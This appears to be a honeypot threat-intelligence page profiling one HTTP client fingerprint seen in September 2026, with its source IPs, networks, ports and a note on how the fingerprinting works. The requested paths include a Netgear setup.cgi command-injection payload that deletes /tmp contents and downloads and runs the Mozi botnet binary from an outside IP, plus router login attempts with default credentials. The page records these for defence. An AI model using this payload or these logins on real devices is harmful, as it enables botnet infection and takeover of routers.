HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

a10lun000_00000000_334359b9

Seen 2026-09-22 to 2026-09-23 across the retained window.

Open in lookup →

126

Source IPs

10

Networks

11

Countries

53

Ports hit

512

Events

13

IPs / network

Top networks

AS14061 DigitalOcean, LLC61 IPs297
AS63949 Akamai Connected Cloud32 IPs165
AS396982 Google LLC17 IPs33
AS45102 Alibaba (US) Technology Co., Ltd.8 IPs9
AS9541 Cyber Internet Services (Pvt) Ltd.3 IPs3
AS24186 RailTel Corporation of India Ltd1 IPs1
AS23888 National Telecommunication Corporation HQ,1 IPs1
AS51396 Pfcloud UG (haftungsbeschrankt)1 IPs1
AS4837 CHINA UNICOM China169 Backbone1 IPs1
AS34369 Aria Shatel PJSC1 IPs1

Countries

US 76BE 17DE 14SG 8PK 4AU 2GB 1IR 1IN 1CN 1

Ports targeted

8087/tcp 248081/tcp 243310/tcp 208098/tcp 208090/tcp 208089/tcp 208088/tcp 208086/tcp 208069/tcp 208000/tcp 187070/tcp 187657/tcp 15

What it requests

GET/413
GET/nice%20ports%2C/Tri%6Eity.txt%2ebak91
GET/boaform/admin/formLogin?username=adminisp&psd=adminisp4
GET/login.cgi1
GET/data/user_lang.json1
GET/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175.107.3.230:53543/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=11
GET/boaform/admin/formLogin?username=user&psd=user1
Source IPCCNetwork Last seenEvents
137.184.132.77USAS14061 DigitalOcean, LLC2026-09-2316
134.209.58.171USAS14061 DigitalOcean, LLC2026-09-2315
173.255.206.221USAS63949 Akamai Connected Cloud2026-09-2311
97.107.136.178USAS63949 Akamai Connected Cloud2026-09-2311
50.116.24.43USAS63949 Akamai Connected Cloud2026-09-2310
161.35.7.127USAS14061 DigitalOcean, LLC2026-09-2310
45.79.9.166USAS63949 Akamai Connected Cloud2026-09-2310
138.68.63.214USAS14061 DigitalOcean, LLC2026-09-237
45.33.68.26USAS63949 Akamai Connected Cloud2026-09-236
147.182.191.14USAS14061 DigitalOcean, LLC2026-09-236
165.227.3.136USAS14061 DigitalOcean, LLC2026-09-235
64.227.1.15USAS14061 DigitalOcean, LLC2026-09-235
192.155.95.101USAS63949 Akamai Connected Cloud2026-09-235
170.64.189.146AUAS14061 DigitalOcean, LLC2026-09-225
157.245.85.59USAS14061 DigitalOcean, LLC2026-09-235
104.248.129.112DEAS14061 DigitalOcean, LLC2026-09-235
147.182.210.207USAS14061 DigitalOcean, LLC2026-09-235
45.79.177.28USAS63949 Akamai Connected Cloud2026-09-225
134.209.60.115USAS14061 DigitalOcean, LLC2026-09-235
206.189.176.87USAS14061 DigitalOcean, LLC2026-09-235

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

a11lun000_00000000_334359b9same header set8 IPs32a11cun010_00000008_c4b2c4aa1 header apart332 IPs1.5Ka10cun010_00000008_c4b2c4aa1 header apart18 IPs31a10cun010_00000001_a37af9cb1 header apart5 IPs17a10cun020_00000041_0a8d7f112 headers apart1.4K IPs9.2Ka11cun020_00000048_724c10fb2 headers apart96 IPs532a10cun020_0000000a_78f1f19c2 headers apart100 IPs452a11cun020_00000009_0a8d7f112 headers apart155 IPs217

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.